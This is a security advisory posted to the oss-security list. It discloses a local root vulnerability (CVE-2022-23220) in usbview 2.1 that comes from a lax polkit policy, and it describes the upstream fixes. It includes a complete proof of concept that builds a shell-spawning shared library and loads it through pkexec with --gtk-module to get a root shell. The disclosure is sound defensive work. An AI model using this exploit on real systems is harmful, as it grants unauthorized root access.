[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Fri, 21 Jan 2022 15:33:50 +0100
From: Matthias Gerstner <mgerstner@...e.de>
To: oss-security@...ts.openwall.com
Subject: usbview polkit policy local root exploit (CVE-2022-23220)

Hello list,

this is to inform you about a local root exploit I found in usbview [1] release 2.1. This finding was embargoed for 7 days on the linux-distros mailing list and the fix has been published today.

The upstream author Greg KH is currently working on an improved version of usbview that will no longer require root privileges to run.

Following is the full report:

A polkit policy file has been added to usbview release 2.1 via commit 'ddefeba' [2] (already contributed in 2016). This policy file allows to run usbview as root via Polkit's `pkexec` utility. This is a common usage to run GUI applications as root. However, this policy file contains problematic authentication settings:

```
    <allow_any>yes</allow_any>
    <allow_inactive>yes</allow_inactive>
    <allow_active>auth_admin_keep</allow_active>
```

These settings effectively mean that only a user in a local and active (graphical) session needs to enter a root password to run usbview as root. Users in inactive (e.g. locked) sessions or arbitrary other users (e.g. logged in via SSH) can run usbview as root without providing any authentication at all.

Some further review of this situation showed that this allows for a pretty simple local root exploit by passing the `--gtk-module` command line parameter to usbview. For example, assuming the local user 'nobody' is compromised:

```
    # Simulate a compromised nobody account
    #
    # This needs to be run outside of a login session, e.g. from an SSH
    # shell. Alternatively one can use a "sleep 10 && pkexec ..." below
    # and then switch to another login terminal (like pressing
    # 'ctrl-alt-f1') during the execution of pkexec to mark the session
    # as inactive, causing the exploit to work as well.
    root# sudo -u nobody /bin/bash

    # build a simple shared library that executes /bin/bash upon loading
    nobody$ cd /tmp
    nobody$ gcc -omymod.so -fPIC -shared -x c - <<END
    #include <stdio.h>
    #include <unistd.h>

    static void exploit_init() __attribute__((constructor));

    void exploit_init() {
            execve("/bin/bash", NULL, NULL);
    }
    END

    # run usbview via pkexec as root, instructing GTK to load the
    # exploit library
    nobody$ pkexec /usr/bin/usbview --gtk-module=/tmp/mymod.so
    # root shell obtained
    root #
```

Because `gtk_init()` loads modules before even attaching to the graphical environment, no X11 session or similar is required for this exploit to succeed.

The problematic policy file seemingly already has been packaged for a longer time in Debian Linux. Ubuntu also used this Debian package. On Gentoo Linux the released version 2.1 was already stable and thus affected. Fedora uses its own, safe version of the polkit policy file. The Arch Linux package was not updated to version 2.1 and was thus not affected.

The fix of the policy file itself is simple [3] and another change adds a bit of hardening of the polkit invocation on top [4]. The fixes are available in upstream release 2.2 [5].

I stumbled over this, because the usbview package in openSUSE Tumbleweed wanted an update to version 2.1 and this new polkit policy appeared which requires a review by the SUSE security team.

[1]: https://github.com/gregkh/usbview
[2]: https://github.com/gregkh/usbview/commit/ddefeba3f67d6a6f394eb57352254c1c8a312671
[3]: https://github.com/gregkh/usbview/commit/bf374fa4e5b9a756789dfd88efa93806a395463b
[4]: https://github.com/gregkh/usbview/commit/1282782301570b3ee27f82f4f34c2c1a82bfd91a
[5]: https://github.com/gregkh/usbview/commit/38e9dc56a437721f7a8b0ec1d2b4e611e090c87d

Regards

Matthias

--
Matthias Gerstner <matthias.gerstner@...e.de>
Security Engineer
https://www.suse.com/security
GPG Key ID: 0x14C405C971923553

SUSE Software Solutions Germany GmbH
HRB 36809, AG Nürnberg
Geschäftsführer: Ivo Totev

Download attachment "signature.asc" of type "application/pgp-signature" (834 bytes)